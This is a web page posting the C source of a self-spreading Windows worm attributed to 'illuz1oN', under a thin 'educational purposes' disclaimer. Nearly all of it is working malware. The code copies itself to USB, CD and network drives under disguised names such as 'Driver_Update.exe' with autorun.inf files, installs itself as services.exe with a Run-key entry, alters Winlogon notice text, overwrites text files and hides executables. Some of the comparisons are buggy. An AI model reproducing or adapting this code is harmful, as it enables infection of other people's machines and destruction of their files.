illuz1oN's Small Worm - Source Codes

// This is for Educational Purposes only

// This source code was written by illuz1oN to explain how to malware infect mass storage devices

// i hope this source code helps you! and thanks a lot for illuz1oN with a brilliant  mind



#include <windows.h>



#include <stdio.h>



#define IMSG "|__[__]__/=+-\\ SaveItForLater :] USB <span class="searchlite">Worm</span> /-+=\\__[__]__|"



//Remember this part!  We'll see it later



char me[1024];



HKEY hKey;



char *drives[] = {"C:","D:","E","F:","G:","H:","I:","J:","K:","L:",



                  "M:","N:","O:","P:","Q:","R:","S:","T:","U:","V:",



                  "W:","X:","Y:","Z:"};



//C-Z drive letters for Windows partitions



DWORD WINAPI spreadUSB()



{



    while(1)



    {



        Sleep(120000);



        int i;



//scan through drive letters



        for(i = 0;i < 24;i++)



        {



            if((GetDriveType(drives[i])) == DRIVE_REMOVABLE)



//DRIVE_REMOVABLE is usb, floppy, anything that's considered removable media by Microsoft



            {



                char hldPath[50];



                char usbFile[30] = "\\Driver_Update.exe";



                char autoRun[50] = "[autorun]\r\nopen=Driver_Update.exe";



                strcpy(hldPath,drives[i]);



                strcat(hldPath,"\\autorun.inf");



                FILE *fp = fopen("autorun.inf","w");



                fprintf(fp,autoRun);



                fclose(fp);



                CopyFile("autorun.inf",hldPath,0);



                remove("autorun.inf");



                strcat(drives[i],usbFile);



                CopyFile(me,drives[i],0);



//create an autorun.inf file with this code as "Driver_Update.exe" and place it as a value for autorun, which would attempt to infect other computers automatically when it's inserted.



            }



            else if((GetDriveType(drives[i])) == DRIVE_CDROM)



            {



                char cdPath[50];



                char cdFile[20] = "\\<span class="searchlite">Worm</span>_Pwn.exe";



                char cdAutr[50] = "[autorun]\r\nopen=<span class="searchlite">Worm</span>_Pwn.exe";



                strcpy(cdPath,drives[i]);



                strcat(cdPath,"\\autorun.inf");



                FILE *fpp = fopen("autorun.inf","w");



                fprintf(fpp,cdAutr);



                fclose(fpp);



                CopyFile("autorun.inf",cdPath,1);



                remove("autorun.inf");



                strcat(drives[i],cdFile);



                CopyFile(me,drives[i],0);



//same as above except with cd-rom.  Name changes, possibly because this method automatically executes no matter what, instead of user intervention like autorun.inf (depending on OS).  So no reason to SE the person.



            }



            else if((GetDriveType(drives[i])) == DRIVE_REMOTE)



            {



                char remName[20] = "\\Upd_Config.exe";



                strcat(drives[i],remName);



                CopyFile(me,drives[i],0);



//infect remote network drives and save as "Upd_Config.exe".  Again, name change for SE.



            }



        }



    }



}



BOOL Startup()



{



    char dropTo[1024];



    GetWindowsDirectory(dropTo,1024);



    strcat(dropTo,"\\services.exe");



//drop (copy) --v-- file to \WINDOWS\ directory as file name services.exe



    if((CopyFile(me,dropTo,1)) == 0)



        return 0;



    else



    {



        if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey) == ERROR_SUCCESS)



//if no error in dropping file, add file to Run on startup registry key



        {



            RegSetValueEx(hKey,"services",0,REG_SZ,(const unsigned char*)dropTo,strlen(dropTo));



            RegCloseKey(hKey);



        }



        return 1;



    }



}



DWORD WINAPI changeTitle(LPVOID lParam)



{



    while(1)



    {



        HWND hWnd = GetForegroundWindow();



        SetWindowText(hWnd,"|__[__]__/=+-\\ SaveItForLater :] <span class="searchlite">Worm</span> - illuz1oN /-+=\\__[__]__|");



//change Window title as this ---^---



    }



}



void winLogin(void)



{



    HKEY hKey;



    char szCaption[] = "          |__[__]__/=+-\\ illuz1oN /-+=\\__[__]__|";



    char szText[] = "             |__[__]__/=+-\\ SaveItForLater :] <span class="searchlite">Worm</span> By illuz1oN /-+=\\__[__]__|"



                    "\nIf you want to remove this <span class="searchlite">worm</span>, contact illuz1oN - "



                    "\n... AV Companies ~censored~ You ...";



    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_SET_VALUE,&hKey);



    RegSetValueEx(hKey,"LegalNoticeCaption",0,REG_SZ,(const unsigned char*)szCaption,sizeof(szCaption));



    RegCloseKey(hKey);



    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_SET_VALUE,&hKey);



    RegSetValueEx(hKey,"LegalNoticeText",0,REG_SZ,(const unsigned char*)szText,sizeof(szText));



//create key name "LegalNoticeCaption" in the above registry hives.  Rather humerous if you ask me.



    RegCloseKey(hKey);



}



int WINAPI WinMain (HINSTANCE hinst,HINSTANCE prhin,LPSTR argsx,int in)



{



    GetModuleFileName(0,me,1024);



    CreateMutex(0,0,"-+- illuz1oN -+-");



    if(GetLastError() == ERROR_ALREADY_EXISTS)



    {



        ExitProcess(0);



    }



    else



    {



        if((Startup()) == 0)



//if the drop (copy) did not work, execute this



        {



         char szMask[4] = "*.*";



         DWORD ret = 0;



         WIN32_FIND_DATA fData;



         HANDLE hFind,hFile;



         hFind = FindFirstFile(szMask,&fData);



         if(fData.cFileName == "*.txt")



//if file = .txt extension, continue



         {



            hFile = CreateFile(fData.cFileName,GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);



            if(hFile == INVALID_HANDLE_VALUE)



               ExitProcess(0);



            else



            {



               WriteFile(hFile,IMSG,sizeof(IMSG),&ret,0);



               CloseHandle(hFile);



//write the IMSG, remember that thing at the top?  yeah....



            }



         }



         else if(fData.cFileName == "*.exe")



//if .exe, set as system and hidden to not display in explorer by default.



         {



            SetFileAttributes(fData.cFileName,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);



            CloseHandle(hFile);



         }



         while (FindNextFile(hFind,&fData))



//continue searching for files with these extensions



         {



            if(fData.cFileName == "*.txt")



            {



               hFile = CreateFile(fData.cFileName,GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);



               if(hFile == INVALID_HANDLE_VALUE)



                  ExitProcess(0);



               else



               {



                  WriteFile(hFile,IMSG,sizeof(IMSG),&ret,0);



                  CloseHandle(hFile);



               }



            }



            else if(fData.cFileName == "*.exe")



            {



               SetFileAttributes(fData.cFileName,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);



               CloseHandle(hFile);



            }



         }



         FindClose(hFind);



        }



        else



        {



            winLogin();



            unsigned long title;



            CreateThread(0,0,changeTitle,0,0,&title);



            unsigned long virii;



            CreateThread(0,0,spreadUSB,0,0,&virii);



            Sleep(INFINITE);



        }



    }



}